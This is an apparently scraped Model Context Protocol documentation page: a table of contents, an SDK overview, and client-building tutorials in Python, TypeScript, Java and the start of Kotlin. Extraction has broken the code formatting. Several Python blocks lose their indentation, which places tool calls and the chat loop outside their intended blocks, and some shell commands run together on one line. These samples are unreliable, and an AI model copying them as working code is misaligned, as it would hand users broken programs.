

mcp

53개 문서

목차

SDKs

- Available SDKs

- Getting Started

- Next Steps

Build an MCP client

- System Requirements

- Setting Up Your Environment

Create project directory

Create virtual environment

Activate virtual environment

Install required packages

Remove boilerplate files

Create our main file

- Setting Up Your API Key

- Creating the Client

- Key Components Explained

- Common Customization Points

- Running the Client

- How It Works

- Best practices

- Troubleshooting

- System Requirements

- Setting Up Your Environment

Create project directory

Initialize npm project

Install dependencies

Install dev dependencies

Create source file

- Setting Up Your API Key

- Creating the Client

- Running the Client

- How It Works

- Best practices

- Troubleshooting

- System Requirements

- Setting Up Your Environment

- How it Works

- System Requirements

- Setting up your environment

Create a new directory for our project

Initialize a new kotlin project

- Setting up your API key

- Creating the Client

- Running the client

- How it works

- Best practices

- Troubleshooting

- System Requirements

- Setting up your environment

- Setting up your API key

- Creating the Client

- Key Components Explained

- Running the Client

- System Requirements

- Setting Up Your Environment

Create project directory

Create a Gemfile

Add required dependencies

Create our main file

- Setting Up Your API Key

- Creating the Client

- Key Components Explained

- Running the Client

- How It Works

- Best practices

- Troubleshooting

- System Requirements

- Setting Up Your Environment

- Creating the Client

- Running the Client

- How It Works

- Best Practices

- Troubleshooting

- Next steps

Build an MCP server

Create a new directory for our project

Create virtual environment and activate it

Install dependencies

Create our server file

- Building your server

- Testing your server with Claude for Desktop

Create a new directory for our project

Initialize a new npm project

Install dependencies

Create our files

- Building your server

- Testing your server with Claude for Desktop

- Testing your server with Claude for Desktop

- More Java MCP Server examples

Create a new directory for our project

Initialize a new kotlin project

- Building your server

- Testing your server with Claude for Desktop

Create a new directory for our project

Initialize a new C# project

- Building your server

- Testing your server with Claude for Desktop

Create a new directory for our project

Create a Gemfile

Add the MCP SDK dependency

Create our server file

- Building your server

- Testing your server with Claude for Desktop

Create a new Rust project

- Testing your server with Claude for Desktop

Create a new directory for our project

Initialize Go module

Install dependencies

Create our server file

- Building your server

- Testing your server with Claude for Desktop

Check Claude's logs for errors

- Start a build

- Deployment paths

- Next steps

Connect to local MCP servers

- Prerequisites

- Understanding MCP Servers

- Installing the Filesystem Server

- Using the Filesystem Server

- Troubleshooting

- Next Steps

Connect to remote MCP Servers

- Understanding Remote MCP Servers

- What are Custom Connectors?

- Connecting to a Remote MCP Server

Programmatic Tool Calling / Code Mode

Combining Both Patterns

What is the Model Context Protocol (MCP)?

What can MCP enable?

Why does MCP matter?

Broad ecosystem support

Start Building

Learn more

Community

Architecture overview

Scope

Concepts of MCP

Example

Pseudo Code

Understanding MCP clients

Core Client Features

Understanding MCP servers

Core Server Features

Bringing Servers Together

Debugging

Debugging tools overview

Implementing logging

Common issues

Debugging in Claude Desktop

Debugging workflow

Best practices

Getting help

Next steps

MCP Inspector

Quickstart

Launcher flags vs. client flags

Where to go next

Authorization

The flow, end to end

Callback URLs

Where credentials live

Mid-session re-authorization

Non-interactive and CI runs

Handing off from the web client to the CLI

Inspecting auth state

CLI client

Choosing a server

Methods

Output

Probing MCP Apps

Exit codes and error envelopes

Authorization in scripts

Recipes

Proxies

Configuration and flags

The launcher owns exactly two things

Choosing servers

Web-only flags

CLI and TUI: OAuth client flags

CLI-only flags

Environment variables

Catalog file format

Protocol eras

The Protocol Era setting

Reproducing each era locally

Logging

Resource subscriptions

Tasks

Multi-round tool results (MRTR)

Tools: mirrored headers and excluded tools

Network and Protocol: headers and the error taxonomy

Sessions

Recipes

Connecting stdio vs. HTTP servers

Importing an existing client config

Reviewing an MCP App

Docker

Hosting on a network

Development workflow

TUI client

Choosing servers

Tabs

Navigation

Authorizing an HTTP server

Requirements

Web client

The session token

Dev mode

The tab bar

Servers

Tools

- Resources
- Prompts
- Apps
- Protocol, Network, and Console
- Deep links
- Host binding and origins
- Understanding Authorization in MCP
 - When Should You Use Authorization?
 - The Authorization Flow: Step by Step
 - Implementation Example
 - Testing the MCP Server
 - Common Pitfalls and How to Avoid Them
 - Related Standards and Documentation
- Local Server Security
 - What a Local Server Can Touch
 - Ask Whether It Needs to Run Locally
 - Check Provenance Before You Install
 - Treat Tool Definitions as Untrusted Input
 - Run Servers in an Isolated Environment
 - Isolate Credentials
 - Limit Filesystem Access
 - Control Network Egress
 - Managing Local Servers Across an Organization
 - Checklist
 - Next Steps
- Security Best Practices
 - Introduction
 - Attacks and Mitigations
- Key Changes
 - Major changes
 - Minor changes
 - Deprecated
 - Other schema changes
 - Governance and process updates
 - Process changes
 - Full changelog
- Deprecated Features
 - Deprecated
 - Removed
- Specification
 - Overview
 - Key Details
 - Security and Trust & Safety

[Learn More](#)

[Schema Reference](#)

[JSON-RPC](#)

[Common Types](#)

[Errors](#)

[Content](#)

[completion/complete](#)

[elicitation/create](#)

[notifications/cancelled](#)

[notifications/message](#)

[notifications/progress](#)

[notifications/prompts/list_changed](#)

[notifications/resources/list_changed](#)

[notifications/resources/updated](#)

[notifications/subscriptions/acknowledged](#)

[notifications/tools/list_changed](#)

[Multi Round-Trip](#)

[prompts/get](#)

[prompts/list](#)

[resources/list](#)

[resources/read](#)

[resources/templates/list](#)

[roots/list](#)

[sampling/createMessage](#)

[server/discover](#)

[subscriptions/listen](#)

[tools/call](#)

[tools/list](#)

[Architecture](#)

[Core Components](#)

[Design Principles](#)

[Capability Negotiation](#)

[Overview](#)

[Messages](#)

[Statelessness](#)

[Auth](#)

[Schema](#)

[JSON Schema Usage](#)

[General fields](#)

[Authorization Server Discovery](#)

[Authorization Server Location](#)

[Protected Resource Metadata Discovery Requirements](#)

[Authorization Server Metadata Discovery](#)

Sequence Diagram

Client Registration

- Client ID Metadata Documents

- Pre-registration

- Dynamic Client Registration

- Authorization Server Binding

Authorization

- Introduction

- Roles

- Overview

- Authorization Server Discovery

- Client Registration

- Scope Selection Strategy

- Authorization Flow Steps

- Resource Parameter Implementation

- Access Token Usage

- Refresh Tokens

- Error Handling

- Security Considerations

- MCP Authorization Extensions

Authorization Security Considerations

- Token Audience Binding and Validation

- Token Theft

- Communication Security

- Authorization Code Protection

- Mix-Up Attacks

- Open Redirection

- Client ID Metadata Document Security

- Confused Deputy Problem

- Access Token Privilege Restriction

Cancellation

- Cancellation Flow

- Transport-Specific Cancellation

- Timeouts

- Behavior Requirements

- Timing Considerations

- Implementation Notes

- Error Handling

Overview

- Request and Response

- Multi Round-Trip Requests

- Subscribe and Notify

- Adding Patterns

Multi Round-Trip Requests

Multi Round-Trip Requests

Progress

Progress Flow

Behavior Requirements

Implementation Notes

Subscriptions

Opening a Stream

Acknowledgment

Receiving Notifications

Multiple Concurrent Subscriptions

Cancellation

Overview

Messages

Request Metadata

Cancellation

Custom Transports

Backward Compatibility

stdio

Sending Messages

Receiving Messages

Request Metadata

Cancellation

Shutdown

Unexpected Termination

Backward Compatibility

Streamable HTTP

Security & Endpoint

Sending Messages

Receiving Messages

Message Flow

Cancellation

Request Metadata

Backward Compatibility

Elicitation

User Interaction Model

Capabilities

Protocol Messages

Message Flow

Response Actions

Implementation Considerations

Error Handling

Security Considerations

Roots

- User Interaction Model
- Capabilities
- Protocol Messages
- Message Flow
- Data Types
- Error Handling
- Security Considerations
- Implementation Guidelines

Sampling

- User Interaction Model
- Tools in Sampling
- Capabilities
- Protocol Messages
- Message Content Constraints
- Cross-API Compatibility
- Message Flow
- Data Types
- Error Handling
- Security Considerations

Discovery

- Request
- Response
- When to Call
- Data Types

Overview

Prompts

- User Interaction Model
- Capabilities
- Protocol Messages
- Message Flow
- Data Types
- Error Handling
- Implementation Considerations
- Security

Resources

- User Interaction Model
- Capabilities
- Protocol Messages
- Message Flow
- Data Types
- Common URI Schemes
- Error Handling

Security Considerations

Tools

- User Interaction Model
- Capabilities
- Protocol Messages
- Message Flow
- Data Types
- Stateful Tools
- Error Handling
- Security Considerations

Caching

- Cacheable Results
- Cache Key
- Cacheable Model
- Interaction with Notifications
- Interaction with Pagination
- Security Considerations

Completion

- User Interaction Model
- Capabilities
- Protocol Messages
- Message Flow
- Data Types
- Error Handling
- Implementation Considerations
- Security

Logging

- User Interaction Model
- Capabilities
- Log Levels
- Requesting Log Messages
- Protocol Messages
- Error Handling
- Implementation Considerations
- Security

Pagination

- Pagination Model
- Response Format
- Request Format
- Pagination Flow
- Operations Supporting Pagination
- Implementation Guidelines
- Error Handling

mcp / docs/2026-07-28

SDKs

mcp/docs/2026-07-28/sdk.mdx

Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](#).

Available SDKs

SDK	Repository	Tier

[TypeScript](#) | [modelcontextprotocol/typescript-sdk](#) |

Tier 1

[Python](#) | [modelcontextprotocol/python-sdk](#) |

Tier 1

[C#](#) | [modelcontextprotocol/csharp-sdk](#) |

Tier 1

[Go](#) | [modelcontextprotocol/go-sdk](#) |

Tier 1

[Rust](#) | [modelcontextprotocol/rust-sdk](#) |

Tier 1

[Ruby](#) | [modelcontextprotocol/ruby-sdk](#) |

Tier 1

[Java](#) | [modelcontextprotocol/java-sdk](#) |

Tier 2

Swift | [modelcontextprotocol/swift-sdk](#) |

Tier 3

PHP | [modelcontextprotocol/php-sdk](#) |

Tier 3

Kotlin | [modelcontextprotocol/kotlin-sdk](#) |

Tier 3

See [SDK Tiering System](#) for details on what each tier means.

Getting Started

Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support:

- Creating MCP servers that expose tools, resources, and prompts
- Building MCP clients that can connect to any MCP server
- Local and remote transport protocols
- Protocol compliance with type safety

Visit the SDK page for your chosen language to find installation instructions, documentation, and examples.

Next Steps

Ready to start building with MCP? Choose your path:

[Build a Server](#)

Learn how to create your first MCP server

[Build a Client](#)

Create applications that connect to MCP servers

mcp / docs/2026-07-28/develop

Build an MCP client

mcp/docs/2026-07-28/develop/build-client.mdx

In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers.

Before you begin, it helps to have gone through our [Build an MCP Server](#) tutorial so you can understand how clients and servers communicate.

Python

[You can find the complete code for this tutorial here.](#)

System Requirements

Before starting, ensure your system meets these requirements:

- Mac or Windows computer
- Latest Python version installed
- Latest version of `uv` installed
- You must use the Python MCP SDK 2.0.0 or higher

Setting Up Your Environment

First, create a new Python project with `uv`:

```
```bash macOS/Linux
```

## Create project directory

---

```
uv init mcp-client cd mcp-client
```

## Create virtual environment

---

```
uv venv
```

## Activate virtual environment

---

```
source .venv/bin/activate
```

## Install required packages

---

```
uv add mcp anthropic python-dotenv
```

## Remove boilerplate files

---

```
rm main.py
```

## Create our main file

---

```
touch client.py
```

```
```powershell Windows
# Create project directory
uv init mcp-client
cd mcp-client

# Create virtual environment
uv venv

# Activate virtual environment
.venv\Scripts\activate

# Install required packages
uv add mcp anthropic python-dotenv

# Remove boilerplate files
del main.py

# Create our main file
new-item client.py
```

Setting Up Your API Key

You'll need an Anthropic API key from the [Anthropic Console](#).

Create a `.env` file to store it:

```
echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
```

Add `.env` to your `.gitignore`:

```
echo ".env" >> .gitignore
```

주의

Make sure you keep your `ANTHROPIC_API_KEY` secure!

Creating the Client

Imports and Setup

First, let's set up our imports and the pieces the rest of the file shares:

```
import asyncio
import sys

from mcp import Client, StdioServerParameters
from mcp.client.stdio import stdio_client
from mcp_types import TextContent

from anthropic import Anthropic
from dotenv import load_dotenv

load_dotenv() # load environment variables from .env

MODEL = "claude-opus-5"
anthropic = Anthropic()
```

`client` is the single object your program talks to the server through. Listing the tools, calling one, reading a resource: each of those is a method on it.

Server Connection Management

Next, we'll work out which process to launch for a given server script:

```
def server_params(server_script_path: str) -> StdioServerParameters:
    """Describe the subprocess that runs an MCP server

    Args:
        server_script_path: Path to the server script (.py or .js)
    """
    if server_script_path.endswith(".py"):
        command = "python"
    elif server_script_path.endswith(".js"):
        command = "node"
    else:
        raise ValueError("Server script must be a .py or .js file")
```

```
return StdioServerParameters(command=command, args=[server_script_path])
```

`StdioServerParameters` is configuration, not a connection. `stdio_client()` turns it into a stdio transport, and `Client` opens that transport when you enter its `async with` block. We'll do both in `main()`.

Query Processing Logic

Now let's add the core functionality for processing queries and handling tool calls:

```
async def process_query(client: Client, query: str) -> str:
    """Process a query using Claude and available tools"""
    messages = [
        {
            "role": "user",
            "content": query
        }
    ]

    tool_list = await client.list_tools()
    available_tools = [{
        "name": tool.name,
        "description": tool.description,
        "input_schema": tool.input_schema
    } for tool in tool_list.tools]

    # Initial Claude API call
    response = anthropic.messages.create(
        model=MODEL,
        max_tokens=1000,
        messages=messages,
        tools=available_tools
    )

    # Process response and handle tool calls
    final_text = []
    tool_results = []

    for content in response.content:
        if content.type == 'text':
            final_text.append(content.text)
        elif content.type == 'tool_use':
            tool_name = content.name
            tool_args = content.input

    # Execute tool call
    result = await client.call_tool(tool_name, tool_args)
    final_text.append(f"[Calling tool {tool_name} with args {tool_args}]")
```



```

tool_results.append({
    "type": "tool_result",
    "tool_use_id": content.id,
    "content": "\n".join(
        block.text
        for block in result.content
        if isinstance(block, TextContent)
    ),
    "is_error": result.is_error
})

if tool_results:
    messages.append({"role": "assistant", "content": response.content})
    messages.append({"role": "user", "content": tool_results})

# Get next response from Claude
response = anthropic.messages.create(
    model=MODEL,
    max_tokens=1000,
    messages=messages,
    tools=available_tools
)

for content in response.content:
    if content.type == 'text':
        final_text.append(content.text)

return "\n".join(final_text)

```

`call_tool` returns a `CallToolResult`. Its `content` is a list of blocks, which is why we narrow to `TextContent` before reading `.text`. A tool that raises does not raise here: it answers with `is_error` set, and passing that flag on lets Claude read the message and try something else.

Interactive Chat Interface

Now we'll add the chat loop:

```

async def chat_loop(client: Client) -> None:
    """Run an interactive chat loop"""
    print("\nMCP Client Started!")
    print("Type your queries or 'quit' to exit.")

    while True:
        try:
            query = (await asyncio.to_thread(input, "\nQuery: ")).strip()
        except EOFError:
            break

```

```

if query.lower() == 'quit':
    break

    try:
        response = await process_query(client, query)
        print("\n" + response)
    except Exception as e:
        print(f"\nError: {e}")

```

`input()` blocks, so it runs on a worker thread. That keeps the event loop free to service the connection while you type.

Main Entry Point

Finally, we'll add the main execution logic:

```

async def main() -> None:
    if len(sys.argv) < 2:
        print("Usage: python client.py <path_to_server_script>")
        sys.exit(1)

    async with Client(stdio_client(server_params(sys.argv[1]))) as client:
        tool_list = await client.list_tools()
        tool_names = [tool.name for tool in tool_list.tools]
        print("\nConnected to server with tools:", tool_names)

    await chat_loop(client)

if __name__ == "__main__":
    asyncio.run(main())

```

That `async with` is the entire connection lifecycle. Entering it launches the server and agrees a protocol version with it; leaving it disconnects and shuts the subprocess down. There is nothing to close by hand.

You can find the complete `client.py` file [here](#).

Key Components Explained

1. Client Initialization

- A single `Client` carries the connection, and `async with` is its whole lifecycle
- There is no connect/close pair to call and nothing to clean up afterwards
- Configures the Anthropic client for Claude interactions

2. Server Connection

- Supports both Python and Node.js servers
- Validates server script type
- Launches the server as a subprocess and speaks stdio to it
- Lists the available tools once the connection is open

3. Query Processing

- Maintains conversation context
- Handles Claude's responses and tool calls
- Manages the message flow between Claude and tools
- Combines results into a coherent response

4. Interactive Interface

- Provides a simple command-line interface
- Handles user input and displays responses
- Includes basic error handling
- Allows graceful exit

5. Resource Management

- Leaving the `async with` block disconnects and shuts the server subprocess down
- A failing query is reported without ending the session
- Typing `quit`, or closing standard input, exits cleanly

Common Customization Points

1. **Tool Handling** - Modify `process_query()` to handle specific tool types - Add custom error handling for tool calls - Implement tool-specific response formatting
2. **Response Processing** - Customize how tool results are formatted - Add response filtering or transformation - Implement custom logging
3. **User Interface** - Add a GUI or web interface - Implement rich console output - Add command history or auto-completion

Running the Client

To run your client with any MCP server:

```
uv run client.py path/to/server.py # python server
uv run client.py path/to/build/index.js # node server
```

참고

If you're continuing [the weather tutorial from the server quickstart](#), your command might look something like this: `python client.py ../quickstart-resources/weather-server-python/weather.py`

The client will:

1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can: - Enter queries - See tool executions - Get responses from Claude

Here's an example of what it should look like if connected to the weather server from the server quickstart:



How It Works

When you submit a query:

1. The client gets the list of available tools from the server
2. Your query is sent to Claude along with tool descriptions
3. Claude decides which tools (if any) to use
4. The client executes any requested tool calls through the server
5. Results are sent back to Claude
6. Claude provides a natural language response
7. The response is displayed to you

Best practices

1. **Error Handling** - Check `result.is_error` rather than expecting a failing tool to raise - Provide meaningful error messages - Gracefully handle connection issues
2. **Resource Management** - Let the `async with` block own the connection - Keep it open for as long as you need the server - Handle server disconnections
3. **Security** - Store API keys securely in `.env` - Validate server responses - Be cautious with tool permissions
4. **Tool Names** - Tool names can be validated according to the format specified [here](#) - If a tool name conforms to the specified format, it should not fail validation by an MCP client

Troubleshooting

Server Path Issues

- Double-check the path to your server script is correct
- Use the absolute path if the relative path isn't working
- For Windows users, make sure to use forward slashes (/) or escaped backslashes (\) in the path
- Verify the server file has the correct extension (.py for Python or .js for Node.js)

Example of correct path usage:

```
# Relative path
uv run client.py ./server/weather.py

# Absolute path
uv run client.py /Users/username/projects/mcp-server/weather.py

# Windows path (either format works)
uv run client.py C:/projects/mcp-server/weather.py
uv run client.py C:\\projects\\mcp-server\\weather.py
```

Response Timing

- The first response might take up to 30 seconds to return
- This is normal and happens while:
 - The server initializes
 - Claude processes the query
 - Tools are being executed
- Subsequent responses are typically faster
- Don't interrupt the process during this initial waiting period

Common Error Messages

If you see:

- `FileNotFoundError`: Check your server path
- `Connection refused`: Ensure the server is running and the path is correct
- `Tool execution failed`: Verify the tool's required environment variables are set
- `Timeout error`: Consider raising `read_timeout_seconds` on the `Client`

TypeScript

[You can find the complete code for this tutorial here.](#)

System Requirements

Before starting, ensure your system meets these requirements:

- Mac or Windows computer
- Node.js 20 or higher installed
- Latest version of `npm` installed
- Anthropic API key (Claude)

Setting Up Your Environment

First, let's create and set up our project:

```
```bash macOS/Linux
```

## Create project directory

---

```
mkdir mcp-client-typescript cd mcp-client-typescript
```

## Initialize npm project

---

```
npm init -y
```

## Install dependencies

---

```
npm install @anthropic-ai/sdk @modelcontextprotocol/client dotenv
```

## Install dev dependencies

---

```
npm install -D @types/node typescript
```

## Create source file

---

```
touch index.ts
```

```
```powershell Windows
# Create project directory
md mcp-client-typescript
cd mcp-client-typescript
```

```
# Initialize npm project
npm init -y

# Install dependencies
npm install @anthropic-ai/sdk @modelcontextprotocol/client dotenv

# Install dev dependencies
npm install -D @types/node typescript

# Create source file
new-item index.ts
```

Update your `package.json` to set `type: "module"` and a build script:

```
````json package.json { "type": "module", "scripts": { "build": "tsc && chmod 755 build/index.js" } }
```

Create a `tsconfig.json` in the root of your project:

```
````json tsconfig.json
{
  "compilerOptions": {
    "target": "ES2022",
    "module": "Node16",
    "moduleResolution": "Node16",
    "types": ["node"],
    "outDir": "./build",
    "rootDir": "./",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true,
    "forceConsistentCasingInFileNames": true
  },
  "include": ["index.ts"],
  "exclude": ["node_modules"]
}
```

Setting Up Your API Key

You'll need an Anthropic API key from the [Anthropic Console](#).

Create a `.env` file to store it:

```
echo "ANTHROPIC_API_KEY=<your key here>" > .env
```

Add `.env` to your `.gitignore`:

```
echo ".env" >> .gitignore
```

주의

Make sure you keep your `ANTHROPIC_API_KEY` secure!

Creating the Client

Basic Client Structure

First, let's set up our imports and create the basic client class in `index.ts`:

```
import { Anthropic } from "@anthropic-ai/sdk";
import {
  MessageParam,
  Tool,
} from "@anthropic-ai/sdk/resources/messages/messages.mjs";
import { Client } from "@modelcontextprotocol/client";
import { StdioClientTransport } from "@modelcontextprotocol/client/stdio";
import readline from "readline/promises";
import dotenv from "dotenv";

dotenv.config();

const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
if (!ANTHROPIC_API_KEY) {
  throw new Error("ANTHROPIC_API_KEY is not set");
}

class MCPClient {
  private mcp: Client;
  private anthropic: Anthropic;
  private transport: StdioClientTransport | null = null;
  private tools: Tool[] = [];

  constructor() {
    this.anthropic = new Anthropic({
      apiKey: ANTHROPIC_API_KEY,
    });
    this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" });
  }
  // methods will go here
}
```

Server Connection Management

Next, we'll implement the method to connect to an MCP server:


```

async connectToServer(serverScriptPath: string) {
  try {
    const isJs = serverScriptPath.endsWith(".js");
    const isPy = serverScriptPath.endsWith(".py");
    if (!isJs && !isPy) {
      throw new Error("Server script must be a .js or .py file");
    }
    const command = isPy
      ? process.platform === "win32"
        ? "python"
        : "python3"
      : process.execPath;

    this.transport = new StdioClientTransport({
      command,
      args: [serverScriptPath],
    });
    await this.mcp.connect(this.transport);

    const toolsResult = await this.mcp.listTools();
    this.tools = toolsResult.tools.map((tool) => {
      return {
        name: tool.name,
        description: tool.description,
        input_schema: tool.inputSchema,
      };
    });
    console.log(
      "Connected to server with tools:",
      this.tools.map(({ name }) => name)
    );
  } catch (e) {
    console.log("Failed to connect to MCP server: ", e);
    throw e;
  }
}

```

Query Processing Logic

Now let's add the core functionality for processing queries and handling tool calls:

```

async processQuery(query: string) {
  const messages: MessageParam[] = [
    {
      role: "user",
      content: query,
    },
  ];
}

```

```

const response = await this.anthropic.messages.create({
  model: "claude-opus-5",
  max_tokens: 1000,
  messages,
  tools: this.tools,
});

const finalText = [];

for (const content of response.content) {
  if (content.type === "text") {
    finalText.push(content.text);
  } else if (content.type === "tool_use") {
    const toolName = content.name;
    const toolArgs = content.input as { [x: string]: unknown } | undefined;

    const result = await this.mcp.callTool({
      name: toolName,
      arguments: toolArgs,
    });

    finalText.push(
      `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]`
    );

    messages.push({
      role: "user",
      content: result.content
        .filter((block) => block.type === "text")
        .map((block) => block.text)
        .join("\n"),
    });

    const response = await this.anthropic.messages.create({
      model: "claude-opus-5",
      max_tokens: 1000,
      messages,
    });

    finalText.push(
      response.content[0].type === "text" ? response.content[0].text : ""
    );
  }
}

return finalText.join("\n");
}

```

Interactive Chat Interface

Now we'll add the chat loop and cleanup functionality:

```

async chatLoop() {
  const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
  });

  try {
    console.log("\nMCP Client Started!");
    console.log("Type your queries or 'quit' to exit.");

    while (true) {
      const message = await rl.question("\nQuery: ");
      if (message.toLowerCase() === "quit") {
        break;
      }
      const response = await this.processQuery(message);
      console.log("\n" + response);
    }
  } finally {
    rl.close();
  }
}

async cleanup() {
  await this.mcp.close();
}

```

Main Entry Point

Finally, we'll add the main execution logic:

```

async function main() {
  if (process.argv.length < 3) {
    console.log("Usage: node index.ts <path_to_server_script>");
    return;
  }
  const mcpClient = new MCPClient();
  try {
    await mcpClient.connectToServer(process.argv[2]);
    await mcpClient.chatLoop();
  } catch (e) {
    console.error("Error:", e);
    await mcpClient.cleanup();
    process.exit(1);
  } finally {
    await mcpClient.cleanup();
    process.exit(0);
  }
}

```

```
main();
```

Running the Client

To run your client with any MCP server:

```
# Build TypeScript
npm run build

# Run the client
node build/index.js path/to/server.py # python server
node build/index.js path/to/build/index.js # node server
```

참고

If you're continuing [the weather tutorial from the server quickstart](#), your command might look something like this: `node build/index.js ../quickstart-resources/weather-server-typescript/build/index.js`

The client will:

1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can: - Enter queries - See tool executions - Get responses from Claude

How It Works

When you submit a query:

1. The client gets the list of available tools from the server
2. Your query is sent to Claude along with tool descriptions
3. Claude decides which tools (if any) to use
4. The client executes any requested tool calls through the server
5. Results are sent back to Claude
6. Claude provides a natural language response
7. The response is displayed to you

Best practices

1. **Error Handling** - Use TypeScript's type system for better error detection - Wrap tool calls in try-catch blocks - Provide meaningful error messages - Gracefully handle connection issues

- 2. **Security** - Store API keys securely in `.env` - Validate server responses - Be cautious with tool permissions

Troubleshooting

Server Path Issues

- Double-check the path to your server script is correct
- Use the absolute path if the relative path isn't working
- For Windows users, make sure to use forward slashes (/) or escaped backslashes (\) in the path
- Verify the server file has the correct extension (.js for Node.js or .py for Python)

Example of correct path usage:

```
# Relative path
node build/index.js ./server/build/index.js

# Absolute path
node build/index.js /Users/username/projects/mcp-server/build/index.js

# Windows path (either format works)
node build/index.js C:/projects/mcp-server/build/index.js
node build/index.js C:\\projects\\mcp-server\\build\\index.js
```

Response Timing

- The first response might take up to 30 seconds to return
- This is normal and happens while:
- The server initializes
- Claude processes the query
- Tools are being executed
- Subsequent responses are typically faster
- Don't interrupt the process during this initial waiting period

Common Error Messages

If you see:

- `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded
- `Connection refused`: Ensure the server is running and the path is correct
- `Tool execution failed`: Verify the tool's required environment variables are set
- `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables
- `TypeError`: Ensure you're using the correct types for tool arguments

- `BadRequestError`: Ensure you have enough credits to access the Anthropic API

Java

참고

This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters. To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](#) documentation.

This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](#). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data. [You can find the complete code for this tutorial here.](#)

System Requirements

Before starting, ensure your system meets these requirements:

- Java 17 or higher
- Maven 3.6+
- npx package manager
- Anthropic API key (Claude)
- Brave Search API key

Setting Up Your Environment

1. Install npx (Node Package eXecute): First, make sure to install [npm](#) and then run:

```
npm install -g npx
```

2. Clone the repository:

```
bash git clone https://github.com/spring-projects/spring-ai-examples.git cd model-context-protocol/web-search/brave-chatbot
```

3. Set up your API keys:

```
bash export ANTHROPIC_API_KEY='your-anthropic-api-key-here' export BRAVE_API_KEY='your-brave-api-key-here'
```

4. Build the application:

```
bash ./mvnw clean install
```

5. Run the application using Maven: `bash ./mvnw spring-boot:run`

주의

Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure!

How it Works

The application integrates Spring AI with the Brave Search MCP server through several components:

MCP Client Configuration

1. Required dependencies in pom.xml:

```
<dependency>
  <groupId>org.springframework.ai</groupId>
  <artifactId>spring-ai-starter-mcp-client</artifactId>
</dependency>
<dependency>
  <groupId>org.springframework.ai</groupId>
  <artifactId>spring-ai-starter-model-anthropic</artifactId>
</dependency>
```

2. Application properties (application.yml):

```
spring:
  ai:
    mcp:
      client:
        enabled: true
        name: brave-search-client
        version: 1.0.0
        type: SYNC
        request-timeout: 20s
      stdio:
        root-change-notification: true
        servers-configuration: classpath:/mcp-servers-config.json
      toolcallback:
        enabled: true
    anthropic:
      api-key: ${ANTHROPIC_API_KEY}
```

This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration. The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools. It is disabled by default.

3. MCP Server Configuration (`mcp-servers-config.json`):

```
{
  "mcpServers": {
    "brave-search": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-brave-search"],
      "env": {
        "BRAVE_API_KEY": "<PUT YOUR BRAVE API KEY>"
      }
    }
  }
}
```

Chat Implementation

The chatbot is implemented using Spring AI's ChatClient with MCP tool integration:

```
var chatClient = chatClientBuilder
    .defaultSystem("You are useful assistant, expert in AI and Java.")
    .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks())
    .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory()))
    .build();
```

Key features:

- Uses Claude AI model for natural language understanding
- Integrates Brave Search through MCP for real-time web search capabilities
- Maintains conversation memory using InMemoryChatMemory
- Runs as an interactive command-line application

Build and run

```
./mvnw clean install
java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar
```

or

```
./mvnw spring-boot:run
```

The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.

The chatbot can:

- Answer questions using its built-in knowledge
- Perform web searches when needed using Brave Search

- Remember context from previous messages in the conversation
- Combine information from multiple sources to provide comprehensive answers

Advanced Configuration

The MCP client supports additional configuration options:

- Client customization through `McpClientCustomizer`

or `McpClientCustomizer`

beans - Multiple clients with multiple transport types: STUDIO` and Streamable HTTP - Integration with Spring AI's tool execution framework - Automatic client initialization and lifecycle management

To connect to a remote MCP server over Streamable HTTP, configure a connection URL:

```
spring.ai.mcp.client.streamable-http.connections.server1.url=http://localhost:8080
```

For WebFlux-based applications, you can use the WebFlux starter instead:

```
<dependency>
  <groupId>org.springframework.ai</groupId>
  <artifactId>spring-ai-starter-mcp-client-webflux</artifactId>
</dependency>
```

This provides similar functionality but uses a WebFlux-based Streamable HTTP transport implementation, recommended for production deployments.

Kotlin

[You can find the complete code for this tutorial here.](#)

System Requirements

Before starting, ensure your system meets these requirements:

- JDK 11 or higher
- Anthropic API key (Claude)

Setting up your environment

First, let's install `java` and `gradle` if you haven't already. You can download `java` from [official Oracle JDK website](#). Verify your `java` installation:

```
java --version
```

Now, let's create and set up your project:

```
```bash macOS/Linux
```

## Create a new directory for our project

---

```
mkdir kotlin-mcp-client cd kotlin-mcp-client
```

## Initialize a new kotlin project

---

```
gradle init
```

```
```powershell Windows
# Create a new directory for our project
md kotlin-mcp-client
cd kotlin-mcp-client
# Initialize a new kotlin project
gradle init
```

After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.

Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](#).

After creating the project, replace the contents of your `build.gradle.kts` with:

```
```kotlin build.gradle.kts // Check latest versions at
https://github.com/modelcontextprotocol/kotlin-sdk/releases val mcpVersion = "0.9.0" val
ktorVersion = "3.2.3" val anthropicVersion = "2.15.0" val slf4jVersion = "2.0.17"

plugins { kotlin("jvm") version "2.3.20" id("com.gradleup.shadow") version "8.3.9" application }

application { mainClass.set("MainKt") }

